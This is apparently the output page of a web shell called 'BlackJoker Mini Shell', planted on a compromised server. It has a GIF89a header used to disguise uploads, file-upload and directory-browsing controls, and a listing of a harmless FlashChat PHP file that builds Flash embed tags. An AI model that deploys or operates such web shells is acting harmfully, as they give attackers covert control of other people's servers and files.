GIF89a; Mini Shell

Mini Shell

Direktori : /home/serb/www/chat/inc/
Upload File :
Current File : /home/serb/www/chat/inc/flashChatTagMambo.php

<?php
	function flashTag($id, $movie, $width = '100%', $height = '100%', $params = array(), $base) {
		$flashVars = array();

		foreach($params as $name => $value) {
			if($value) $flashVars[] = $name.'=' . urlencode($value);
		}
		
		$fv = join('&', $flashVars);

		$tag  = '<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,0,0" WIDTH="'.$width.'" HEIGHT="'.$height.'"  id="'.$id.'" ALIGN="">';
		$tag .= '<PARAM NAME="FlashVars" VALUE="'.$fv.'">';
		$tag .= '<PARAM NAME="movie" VALUE="'.$movie.'">';
		$tag .= '<PARAM NAME=\"quality\" VALUE="high">';
		$tag .= '<PARAM NAME="menu" VALUE="false">';
		$tag .= '<PARAM NAME="scale" VALUE="noscale">';
		$tag .= '<PARAM NAME="salign" VALUE="LT">';
		$tag .= '<PARAM NAME="BASE" VALUE="'.$base.'">';
		$tag .= '<EMBED src="'.$movie.'" FlashVars="'.$fv.'" menu="false" quality="high" scale="noscale" salign="LT" WIDTH="'.$width.'" HEIGHT="'.$height.'" NAME="'.$id.'" ALIGN="" TYPE="application/x-shockwave-flash" PLUGINSPAGE="http://www.macromedia.com/go/getflashplayer" BASE="'.$base.'"></EMBED>';
		$tag .= '</OBJECT>';

		return $tag;
	}

	function flashChatTag($width, $height, $params = array(), $base = '')
	{
		$tag  = flashTag('flashchat', $base . 'preloader.swf', $width, $height, $params, $base);
		$tag .= '<script type="text/javascript" src="' . $base . 'js.php"></script>';
		return $tag;
	}
?>

./BlackJoker Mini Shell 1.0